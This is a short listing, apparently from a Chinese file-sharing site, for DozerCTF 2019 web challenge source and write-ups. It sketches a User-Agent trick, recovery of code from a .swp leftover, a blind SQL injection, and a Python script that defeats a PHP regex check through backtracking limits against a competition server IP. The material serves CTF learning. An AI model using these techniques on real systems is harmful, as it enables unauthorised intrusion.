DozerCTF-2nd：2019金陵科技学院校赛初赛Web题源码及WP
5星
- 浏览量: 0
- 大小:None
- 文件类型：None
简介：
本文章提供2019年金陵科技学院校内CTF比赛初赛中的Web题目源代码及相关解答，旨在帮助学习者深入理解Web安全与漏洞利用。
推土机CTF-2nd 2019金陵科技学院第二届网络安全竞赛网站题解：
web1果粉：通过修改UA头，包含iphone字符串即可。
web2的React：利用.index.php.swp文件还原代码。此过程涉及正则回溯机制导致的安全问题。
```python
import requests
from io import BytesIO
data = {
greeting: BytesIO(bBaby PHP + ba * 1000000)
}
res = requests.post(http://120.27.3.220:10001/, data=data)
print(res.text)
```
web3 babyshop：这是一个简单的布尔型盲注问题，没有任何过滤。
全部评论 (0)
还没有任何评论哟~
